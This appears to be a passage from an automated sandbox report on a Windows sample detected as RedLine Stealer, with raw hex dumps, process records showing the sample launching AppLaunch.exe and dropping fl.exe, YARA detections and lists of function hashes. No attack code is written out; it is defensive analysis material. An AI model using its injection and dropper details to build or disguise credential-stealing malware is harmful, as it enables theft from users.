2022-07-20 08:32:59 UTC	3419	IN	Data Raw: 73 74 72 65 61 6d 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 30 5f 53 69 00 5f 5f 6d 69 6e 6f 72 5f 73 75 62 73 79 73 74 65 6d 5f 76 65 72 73 69 6f 6e 5f 5f 00 5f 5f 5a 4e 53 74 31 30 6d 6f 6e 65 79 5f 62 61 73 65 38 5f 53 5f 61 74 6f 6d 73 45 00 5f 5f 5a 54 53 4e 53 74 37 5f 5f 63 78 78 31 31 37 63 6f 6c 6c 61 74 65 49 63 45 45 00 5f 47 65 74 4d 6f 64 75 6c 65 48 61 6e 64 6c 65 41 40 34 00 5f 5f 73 69 7a 65 5f 6f 66 5f 68 65 61 70 5f 72 65 73 65 72 76 65 5f 5f 00 5f 5f 5a 54 49 4e 53 74 33 5f 56 32 31 34 65 72 72 6f 72 5f 63 61 74 65 67 6f 72 79 45 00 5f 5f 5a 54 53 53 74 31 31 5f 5f 74 69 6d 65 70 75 6e 63 74 49 77 45 00 5f 5f 5a 54 56 53 74 31 39 5f 5f 63 6f 64 65 63 76 74 5f 75 74 66 38 5f 62 61 73 65 49 44 73 45 00 5f 5f 5a 4e 53 Data Ascii: streamIcSt11char_traitsIcEE0_Si__minor_subsystem_version____ZNSt10money_base8_S_atomsE__ZTSNSt7__cxx117collateIcEE_GetModuleHandleA@4__size_of_heap_reserve____ZTINSt3_V214error_categoryE__ZTSSt11__timepunctIwE__ZTVSt19__codecvt_utf8_baseIDsE__ZNS
2022-07-20 08:32:59 UTC	3420	IN	Data Raw: 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 00 5f 5f 5a 47 56 4e 53 74 38 74 69 6d 65 5f 67 65 74 49 63 53 74 31 39 69 73 74 72 65 61 6d 62 75 66 5f 69 74 65 72 61 74 6f 72 49 63 53 74 31 31 63 68 61 72 5f 74 72 61 69 74 73 49 63 45 45 45 32 69 64 45 00 5f 5f 5a 4e 53 73 34 5f 52 65 70 31 31 5f 53 5f 74 65 72 6d 69 6e 61 6c 45 00 5f 5f 5a 54 49 4e 53 74 37 5f 5f 63 78 78 31 31 38 6d 65 73 73 61 67 65 73 49 63 45 45 00 5f 5f 69 6d 70 5f 5f 5f 66 73 74 61 74 36 34 00 5f 5f 5a 47 56 4e 53 74 37 5f 5f 63 78 78 31 31 37 63 6f 6c 6c 61 74 65 49 63 45 32 69 64 45 00 5f 5f 5a 54 56 53 74 38 62 61 64 5f 63 61 73 74 00 2e 77 65 61 6b 2e 5f 5f 49 54 4d 5f 6d 65 6d 63 70 79 52 74 57 6e 2e 5f 5f 5a 32 37 5f 74 78 6e 61 6c Data Ascii: iteratorIcSt11char_traitsIcEEE__ZGVNSt8time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE2idE__ZNSs4_Rep11_S_terminalE__ZTINSt7__cxx118messagesIcEE__imp___fstat64__ZGVNSt7__cxx117collateIcE2idE__ZTVSt8bad_cast.weak.__ITM_memcpyRtWn.__Z27_txnal
2022-07-20 08:32:59 UTC	3436	IN	Data Raw: 34 88 bc 19 d3 e4 92 f0 39 64 28 e6 64 26 78 dd 6b 6d 9e 20 a2 e5 97 3e 43 33 57 8c 5e 5b f7 2c 2a e1 f6 6d f3 4e aa 42 9d 15 7d fa 4f 00 64 d6 1a be c5 d3 a2 2c 5e 0f 07 bd bd 53 4e 6e fa b2 75 4a f1 33 a2 34 dd b9 84 a9 50 9d f6 cc ce 8f 64 45 71 36 d2 01 6c 1c ea db 6b 10 37 5e f3 33 df 9b 94 b6 8d 3f 89 ee 58 83 e1 7e 99 23 e9 97 9b 1a 9c 96 86 2e ea 62 67 3a 40 75 94 be ae 37 5e d0 a6 d1 42 20 90 9f d0 c0 e7 67 88 c7 8d cb 3c b5 a0 1d 8b 03 5f 39 91 90 50 b6 cd bc 3c 42 98 09 cb 15 11 4b d5 91 8b c8 ea 8c 1c 80 10 2f 79 67 05 af 9a 53 68 73 21 41 90 c7 9a c3 98 68 83 19 1d 30 82 05 f5 30 82 03 dd a0 03 02 01 02 02 10 1d a2 48 30 6f 9b 26 18 d0 82 e0 96 7d 33 d3 6a 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0c 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 Data Ascii: 49d(d&xkm >C3W^[,mNB}Od,^SNnuJ34PdEq6lk7^3?X~#.bg:@u7^B g<_9P<BK/ygShs!Ah00H0o&}3j0H010U
2022-07-20 08:32:59 UTC	3437	IN	Data Raw: 74 72 75 73 74 2e 63 6f 6d 2f 55 53 45 52 54 72 75 73 74 52 53 41 43 65 72 74 69 66 69 63 61 74 69 6f 6e 41 75 74 68 6f 72 69 74 79 2e 63 72 6c 30 76 06 08 2b 06 01 05 05 07 01 01 04 6a 30 68 30 3f 06 08 2b 06 01 05 05 07 30 02 86 33 68 74 74 70 3a 2f 2f 63 72 74 2e 75 73 65 72 74 72 75 73 74 2e 63 6f 6d 2f 55 53 45 52 54 72 75 73 74 52 53 41 41 64 64 54 72 75 73 74 43 41 2e 63 72 74 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 75 73 65 72 74 72 75 73 74 2e 63 6f 6d 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0c 05 00 03 82 02 01 00 4d 63 50 ed 47 34 4a 61 a4 db de 6a 2a 8c 9b f1 00 00 1e 1d 62 7b 3a d7 32 c2 f6 b3 e0 63 b3 fb 61 00 88 9a 1b 6d 10 07 04 4f be b8 ea 89 78 22 eb 0f 46 ec f3 46 5e 40 46 89 12 f4 0b 77 5a 9c 2a 41 3a Data Ascii: trust.com/USERTrustRSACertificationAuthority.crl0v+j0h0?+03http://crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%+0http://ocsp.usertrust.com0HMcPG4Jajb{:2camOx"FF^@FwZ*A:

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: XGN98Zq3JB.exePID: 6848, Parent PID: 5148

General

Target ID:	0
Start time:	10:31:33
Start date:	20/07/2022
Path:	C:\Users\user\Desktop\XGN98Zq3JB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\XGN98Zq3JB.exe"
Imagebase:	0x400000
File size:	2583583 bytes
MD5 hash:	0868C8B2657D243FA7B9657F1906F001
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.481770993.00000000004B8000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.475229939.00000000001C2000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6864, Parent PID: 6848

General

Target ID:	1
Start time:	10:31:34
Start date:	20/07/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: AppLaunch.exePID: 208228, Parent PID: 6848

General

Target ID:	2
Start time:	10:31:54
Start date:	20/07/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Imagebase:	0xc80000
File size:	98912 bytes
MD5 hash:	6807F903AC06FF7E1670181378690B22
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.630552095.00000000066D2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000002.00000002.623914093.0000000000392000.00000020.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: fl.exePID: 7448, Parent PID: 208228

General

Target ID:	13
Start time:	10:33:01
Start date:	20/07/2022
Path:	C:\Users\user\AppData\Local\Temp\fl.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\fl.exe"
Imagebase:	0x400000
File size:	3521567 bytes
MD5 hash:	C3F4D625AC5428F07BB4CAB0D4D1758D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 60%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7456, Parent PID: 7448

General

Target ID:	14
Start time:	10:33:02
Start date:	20/07/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: AppLaunch.exePID: 208228, Parent PID: 6848COMMON

Executed Functions

Function 00B487A8 Relevance: 2.0, Instructions: 1977COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2517fa4ca1f9d29d868e72c74eab2de8056c513855348394b10d5093fa6fc25d
Instruction ID: e58ea77915483bdb351feb6ce653272b87995955d44f2715dbd33378cb102a84
Opcode Fuzzy Hash: 2517fa4ca1f9d29d868e72c74eab2de8056c513855348394b10d5093fa6fc25d
Instruction Fuzzy Hash: 5913EE3895130CDFCF1AEB60D450AD9B732FF9A306B50946E9C2236F548B7B8956EA01

Uniqueness

Uniqueness Score: -1.00%

Function 00B487B8 Relevance: 2.0, Instructions: 1973COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6141921450ef36e1b43c56263c091438ac7141f45ad41d6fc211537dc8c7e54b
Instruction ID: c1e927bc6df3cbe3965bcff9f4712b2003b44d7dfd8e8014738e51bbc199ec7e
Opcode Fuzzy Hash: 6141921450ef36e1b43c56263c091438ac7141f45ad41d6fc211537dc8c7e54b
Instruction Fuzzy Hash: AF13EE3895130CDFCF1AEB60D450AD9B732FF9A306B50946EDC2236F548B7B8956EA01

Uniqueness

Uniqueness Score: -1.00%

Function 00B4F368 Relevance: .4, Instructions: 407COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 739ac409f0ff1acfddaa27d605eb44d6b425d52ad22a6a9c9193822465fa0d31
Instruction ID: fa63b52009326ba9d50bc13f8dc2f3f784387acae32ba28087eab5c439b3cdfd
Opcode Fuzzy Hash: 739ac409f0ff1acfddaa27d605eb44d6b425d52ad22a6a9c9193822465fa0d31
Instruction Fuzzy Hash: F0E168757002018FDB14DF78C894A6ABBF6EF89300F1584A9E906CB3A2DB35DD42DB52

Uniqueness

Uniqueness Score: -1.00%

Function 00B4DA00 Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ede548ebf1b44ba103ba72736778f7480eef699e2af56298399e06f21be7ecec
Instruction ID: 59122fe215c1699bb24b639466bbb7f60a4d2b088a5140ad98ce53c62dc5621d
Opcode Fuzzy Hash: ede548ebf1b44ba103ba72736778f7480eef699e2af56298399e06f21be7ecec
Instruction Fuzzy Hash: 1FF14C74B001088FDB48DFA8D494AAEBBF6FF88304F158469E506EB3A5DB349D42DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00B408D0 Relevance: .4, Instructions: 377COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d284405a3723776de2b1658863f4a42b26a2e778ef3ddfa3088689eb61ba953
Instruction ID: 8c3ee07e892904b84a27b2a1e42f78528182fb3aade46e36f1ca98601902a421
Opcode Fuzzy Hash: 7d284405a3723776de2b1658863f4a42b26a2e778ef3ddfa3088689eb61ba953
Instruction Fuzzy Hash: 67E18F32610615DFCB16AFA5CD04E997BB2FF88300F0581E9E6069B272DB31DA55EF41

Uniqueness

Uniqueness Score: -1.00%

Function 00B408C1 Relevance: .4, Instructions: 350COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76da5ffcddf4f854895158fe2189873968609d1f0c6e121232cf634d9075c160
Instruction ID: 7b310ae854d4d0e34071cd97e9dcdd75419ed9653f0c96a113f259035e2c775b
Opcode Fuzzy Hash: 76da5ffcddf4f854895158fe2189873968609d1f0c6e121232cf634d9075c160
Instruction Fuzzy Hash: 56D18D32610215EFCB169FA5CD44E997BB2FF48300F0681EAE6069B272DB31DA55EF40

Uniqueness

Uniqueness Score: -1.00%

Function 00B4E678 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 918815563de5e14bc739bfb55384c431130bcd820beefc3da65d8d1c6cd9a385
Instruction ID: 738bb115952d064f3a60b94a7df10bc1548413fb857b863247d27881d6aca3d8
Opcode Fuzzy Hash: 918815563de5e14bc739bfb55384c431130bcd820beefc3da65d8d1c6cd9a385
Instruction Fuzzy Hash: 6FE14734A006099FCB14DF65D584A9EBBF2FF88310F158868E956AB3A1DB30ED41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B4E640 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fec6891440368c066f8b6504c0d7c5c661680fe4b8ded373a1ef7f29d72db238
Instruction ID: dc967eba21ec03c55dbe3bd944afe710c756b73994bccc7c054ac17b9ae4fe60
Opcode Fuzzy Hash: fec6891440368c066f8b6504c0d7c5c661680fe4b8ded373a1ef7f29d72db238
Instruction Fuzzy Hash: 97911A34A00605DFCB14DF68D598A9DBBF2FF88310B1589A9E8569B361DB30ED41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00B4D720 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db82f38b8e16565f8176cb04a81588e57ef3614f0ae5739b13a2edec21495fba
Instruction ID: c57d3e3f3841c95d4c929caf6307ddde1129000a0011299368d7986fba9f2e78
Opcode Fuzzy Hash: db82f38b8e16565f8176cb04a81588e57ef3614f0ae5739b13a2edec21495fba
Instruction Fuzzy Hash: 80718A75F006098FDB14CFA8C4506AEB7F2EF89300F24856AE805EB395EB709D42DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00B44E4F Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c976b8a21f272f1075eba8e40b56389f9ba841a0740f02b0636d3467b3cbff35
Instruction ID: 27618dfe3bdaf06d433ba83b9d569ff77b6992d7965ba93ef9ea4a774c129361
Opcode Fuzzy Hash: c976b8a21f272f1075eba8e40b56389f9ba841a0740f02b0636d3467b3cbff35
Instruction Fuzzy Hash: 6C51EE713109105FDB066B68E952B6D7363FB8A304BD1482CE7068F292CF665E2E47A7

Uniqueness

Uniqueness Score: -1.00%

Function 00B4D508 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c7dd0c597a51217e4a1f72e594b8e59670f2c256682bacb718a7d5c0f9cda7c
Instruction ID: 2cad3164cf075e868499d9cfbc1416cc6099e91491fa65e39484d47c1c3e646c
Opcode Fuzzy Hash: 5c7dd0c597a51217e4a1f72e594b8e59670f2c256682bacb718a7d5c0f9cda7c
Instruction Fuzzy Hash: 47510834A00219EFCF15DFA4E998AADBBB2FF88314F158469E906A7360DB309D41DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00B4EA39 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 970c7f617e610eb39001acb9fc3e68674961f3bb16e0c501188f237afdc95e5e
Instruction ID: fac26714c948cd1f9212951283f27397bf0555a8d6fa6c9b86951bca607fa6b9
Opcode Fuzzy Hash: 970c7f617e610eb39001acb9fc3e68674961f3bb16e0c501188f237afdc95e5e
Instruction Fuzzy Hash: 5751C534A00209DFCB14DFA4D998A9DBBB2FF88311F1584A8E915AB361DB31ED81DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00B42D51 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa41ac0293129159467b52a29583419575f61433d2bf43e911014d5aa967f99c
Instruction ID: 117bd9f3572fb31a71432fa069e5d2fc9dc94e09c7532f308b12afd0d530ea96
Opcode Fuzzy Hash: aa41ac0293129159467b52a29583419575f61433d2bf43e911014d5aa967f99c
Instruction Fuzzy Hash: 725123317105088FCB04BBB8E45426DFBB6FFCA310B50462DE462A73E4DF34A9198762

Uniqueness

Uniqueness Score: -1.00%

Function 00B453DF Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9d8bbf3f04b3812e595013ad8546b8bd9c550ca826419e1533ba801393eeb6a
Instruction ID: 2fe0a4c97665bf7f50a73820368fcc74a66af13f9d7a0f6b3e34e7686fb8ef3c
Opcode Fuzzy Hash: a9d8bbf3f04b3812e595013ad8546b8bd9c550ca826419e1533ba801393eeb6a
Instruction Fuzzy Hash: B3518B39904205DFCB029FA4E95699CBFB1FF49310F148099FA52E7362C7395929DF22

Uniqueness

Uniqueness Score: -1.00%

Function 00B42D60 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4848ba06dfadd9c02698f3497d80cf2441d944f8ffe50a566ec1796af548e72
Instruction ID: 1eca0dbd762b7e6bc9b6498c9a327de9e9d6cec0614be076a346bff66e9b6182
Opcode Fuzzy Hash: e4848ba06dfadd9c02698f3497d80cf2441d944f8ffe50a566ec1796af548e72
Instruction Fuzzy Hash: 3B41F531B105088BCB04BBB8E45466DFBB6FFCA310B94462CE452A73D5DF34A9698792

Uniqueness

Uniqueness Score: -1.00%

Function 00B47568 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2abae0af3f0753f09c1337b5a25246c2d8c53149922d0c26ddcf7a47cb17a32a
Instruction ID: 25691fa89a1ff7cce66a35677535d31a3d088dabe49d949a0125ae39708f47dd
Opcode Fuzzy Hash: 2abae0af3f0753f09c1337b5a25246c2d8c53149922d0c26ddcf7a47cb17a32a
Instruction Fuzzy Hash: D54186757083008FC3059BB8E8185AE7FB6EF8621571409BED856CB382DF394C6AC761

Uniqueness

Uniqueness Score: -1.00%

Function 00B426B1 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49e90412e133166f959aa67f155f0b1d91c6c699a55b37e266d2418d00403ecf
Instruction ID: 0fbc2e922d0a2c7d0123e8d87f771b773ed52f162bb3d7aacb01fa4ee10a232b
Opcode Fuzzy Hash: 49e90412e133166f959aa67f155f0b1d91c6c699a55b37e266d2418d00403ecf
Instruction Fuzzy Hash: 8C41AF35B002009FC709AF78E45956EBBF6FBCD211324856DE90AD3381DF399D168BA6

Uniqueness

Uniqueness Score: -1.00%

Function 00B4A828 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2d27faa2837132425d227d8720ab0fef0730707167580c12e51e2379c38cf78
Instruction ID: cd84b6ef9bf49a938596ab0b2d11550b22e49ef6506b056f849a09864e084d83
Opcode Fuzzy Hash: e2d27faa2837132425d227d8720ab0fef0730707167580c12e51e2379c38cf78
Instruction Fuzzy Hash: D431F335B402499FDB04EBB9D8157AE77F2EF84305F0084A9D501EB3D1DB388E068BA2

Uniqueness

Uniqueness Score: -1.00%

Function 00B426C0 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a1bb015dda84a487d55ade7d0c7e665496605e44181ed9dc9363f287af62e0f
Instruction ID: 6f7940075afba990f4ab9ca6292202777296f11685eed7db32aa7b8382b11019
Opcode Fuzzy Hash: 4a1bb015dda84a487d55ade7d0c7e665496605e44181ed9dc9363f287af62e0f
Instruction Fuzzy Hash: 07318B35B002008FC709AF78E45956EBBF6FBCD211324846DE90AD3381DF399C168BA6

Uniqueness

Uniqueness Score: -1.00%

Function 00B48657 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52618795885a7b9d9a605bac7173cca8509e1b12f040cdcf7645387b9b9d7dfe
Instruction ID: a2ce8b94fe0ca2395c5e5505f008fa34440f5db6ce82d428857f8c1064b5c52e
Opcode Fuzzy Hash: 52618795885a7b9d9a605bac7173cca8509e1b12f040cdcf7645387b9b9d7dfe
Instruction Fuzzy Hash: 5E319231A007068BCB05AF78D8501EAB7B1FF96315B10856ED899E7342EF34AA56CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B4B390 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d66e8a9ebb364fd25a7d00e3610a51147038450fea720838300792be9ff097e1
Instruction ID: 0427f571704d6bcab8e5d6aac9ff7b14458f0fb5c566d9d53fc5e28f525c6fa3
Opcode Fuzzy Hash: d66e8a9ebb364fd25a7d00e3610a51147038450fea720838300792be9ff097e1
Instruction Fuzzy Hash: 6C318832E00B068ADB10EB78D841699B770EF99320F259719E95677241EB70B5A4CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00B48168 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4feba5b5620871ebe4eaa9da3a83fea42bd0408b568d1f2d6ed4321297cc582
Instruction ID: e4401d5fe8d5ea8d037e99d2dfcc2c28e93199445f8fc4be28f14ceb25a25cc6
Opcode Fuzzy Hash: a4feba5b5620871ebe4eaa9da3a83fea42bd0408b568d1f2d6ed4321297cc582
Instruction Fuzzy Hash: FD21EF347047014FC708AB78A41426EBBEBEFC92017088C7ED646C7781EF349C1687A2

Uniqueness

Uniqueness Score: -1.00%

Function 00B4B3A0 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 055a925d122340ef26c96b5f9c7280f89b955c1e0e0f6b063b5da6770ce15611
Instruction ID: b11e1f95e2b71eba19fee4521c098d63e9cc5344bdf4c7541aefa7c25eec7d43
Opcode Fuzzy Hash: 055a925d122340ef26c96b5f9c7280f89b955c1e0e0f6b063b5da6770ce15611
Instruction Fuzzy Hash: 8F316932E10B0A8ADB10EFB9D801699B371FFD9320F259719E95A77240EB70B5D0CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00B453F0 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.627772295.0000000000B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b40000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbd49506060ac36e8cb4972f820bbdc8024a4ee7b57d05a3454ec189f36e90d8
Instruction ID: 6048be0c25c5ec0efa5dced81c8bf172b349500f5aa9a6df9871e8dc4ed6bb82
Opcode Fuzzy Hash: fbd49506060ac36e8cb4972f820bbdc8024a4ee7b57d05a3454ec189f36e90d8
